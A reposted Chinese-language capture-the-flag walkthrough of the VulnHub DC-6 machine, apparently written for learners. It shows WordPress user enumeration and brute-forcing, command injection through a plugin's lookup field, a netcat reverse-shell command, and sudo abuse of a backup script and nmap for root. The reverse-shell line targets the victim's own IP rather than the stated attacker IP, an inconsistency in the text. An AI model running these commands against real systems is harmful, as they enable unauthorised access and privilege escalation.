渗透测试学习之靶机DC

您所在的位置:网站首页 dc浏览器网站 渗透测试学习之靶机DC

渗透测试学习之靶机DC

2024-06-07 10:30| 来源: 网络整理| 查看: 265

1.下载靶机

本篇文章是DC靶机系列的第6篇,针对的是靶机DC-6,建议感兴趣的读者从DC-1开始练习,详细内容可以看我之前的文章。

DC-6的下载地址为DC: 6 ~ VulnHub。下载后解压为.ova文件,该格式可直接在VMware上打开,如果显示打开失败,点击重试即可成功,如果仍无法成功可百度、谷歌解决。

DC-6只有一个flag。

在VMware加载成功之后并开启,建议把DC-6靶机的网络链接模式改为NAT模式。本文使用的攻击机为kali(安装在VMware上,IP为:192.168.88.128)。显示如下界面:

 

2.收集靶机信息

由于本文的攻击机和靶机在同一个网络下,因此在kali上输入命令: arp-scan -l,显示如下

找到DC-6的IP地址为192.168.88.131,接下来使用nmap扫描该端口。

发现该靶机开启了80、22端口,80为web服务,我们访问http://192.168.88.131:80

发现访问失败,并且url被解析成了http://wordy/,这个问题和DC-2类似,需要在系统hosts文件上添加解析:

192.168.88.131 wordy

注意,如果是在kali虚拟机中添加,使用vim /etc/hosts 进行添加,此时只能使用kali虚拟机中的浏览器进行方法问;如果想在自己物理机上访问的话,需要在物理机的hosts文件添加上面语句。

然后在使用浏览器进行访问

此时的网站指纹为:

可以得到一个线索:该靶机的CMS系统为wordpress5.1.1。对于这个线索,我们有两个思路:

第一:利用目录扫描工具寻找该CMS的后台管理系统,然后再爆破密码和账号,进入后台管理系统寻找可利用的点。

第二:我们可以在网络上搜索该版本的漏洞,或者使用searchsploit,msfconsole等工具寻找漏洞及利用方法。

殊途同归,本文先循着第一个思路进行。这里利用dirb目录扫描工具寻找后台管理界面,当然也可以其他的工具,配合目录字典进行爆破,这里不详细展开。

结果中有一个http://192.168.88.131/wp-admin 我们尝试一下,果然是后台

这个思路和DC-2特别像。接着是爆破账号密码。盲猜一破admin admin,输入显示密码错误,随便输入一个admin0001,显示账号不存在。靶机回显处理的不好啊,说明admin是其中一个账号了。

继续爆破账号密码,使用针对该CMS的账号爆破工具wpscan,猜解密码:

输入命令行:wpscan --url http://wordy -e u

猜解出以上5个用户名,我们将其保存在一个DC-6-name.txt文件中(文件名自拟)。

接着利用cewl根据本文生成密码,然后再利用爆破工具暴力破解。本文利用cewl生成的密码都没破解出来,需要更强大的字典,这里有两个选择,一个是使用自己平时积累的密码字典破解,或者利用kali自带的密码字典,毕竟在下载靶机镜像的时候,作者已经提示了:

我们就使用kali自带的字典,根据提示,将字典到本地。

然后使用爆破工具进行爆破,可以使用bp,hydra,medusa等,本文还是选择wpscan工具

输入命令行:

wpscan --url http://wordy -P passwords.txt -U dc-6-name.txt

显然字典太大了,这是一个漫长的过程。最后结果是只爆破了mark helpdesk01。

利用这个账号密码登陆成功。

然后就开始360度无死角的检查该系统,寻找可利用的点,这里寻找到两个线索,第一:该网站使用了activity monitor工具,第二,在activity monitor目录的tools一栏存在可注入的点

这里输入IP或者数字,然后将用户的输入传到后台解析。

根据这两个线索,本文又有两个思路:

第一:既然会回传用户的输入到后台解析,那么是否可以修改数据包达到我们的目的呢?可以利用BP抓包测试。

第二:利用前文提到的漏洞扫描工具对activity monitor进行扫描,寻找历史漏洞。

本文利用第一个思路,输入souhu.com,点击lookup

开启bp抓包,并发送

然后将souhu.com改成souhu.com|whoami

发现管道符后面的whoami运行了。说明此处存在漏洞。

3.漏洞测试

接着利用该漏洞反弹一个shell。

首先在kali虚拟机上开启监听

将包改成 souhu.com|nc -e /bin/bash 192.168.88.131 7777

 

可以看到shell已经回传到kali上了

我们利用python开启交互模式。输入命令

python -c 'import pty;pty.spawn("/bin/bash")'

交互模式成功,打开home目录,查找新的线索:

发现在mark目录下存在一个things-to-do文件,打开发现了graham的账号密码。

然后登陆graham的账号密码,发现登陆失败,想到该靶机还开启了22端口因此尝试ssh登录。

登陆成功。

5.漏洞利用

尝试一下sudo -l出现了免密的jens的命令

进入/home/jens目录,打开backups.sh文件

里面是一个压缩命令行,说明该文件可以运行,因此想到可以在该文件中添加/bin/bash语句,则可以打开jens的shell了。

echo '/bin/bash' >> backups.sh #在文件中添加命令行

sudo ./backups.sh #运行失败,因为此时是graham哟用户

sudo -u jens ./backups.sh #-u 指定用户

反弹了一个jens的shell。

发现jens可以免密码运行root权限nmap。此时想到nmap可以运行文件,那么我们写一个打开root shell的文件,再让nmap执行,就可以拿到root权限了

echo 'os.execute("/bin/sh")' >getshell.nse #写一个root shell的文件

sudo nmap --script=getshell.nse #运行

打开root目录,发现theflag.txt文件

拿到flag!

此外:

1.本文有两处地方有两个思路,由于我比较懒,就没有另外集中发思路的过程写下来,感兴趣的读者可以尝试!



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3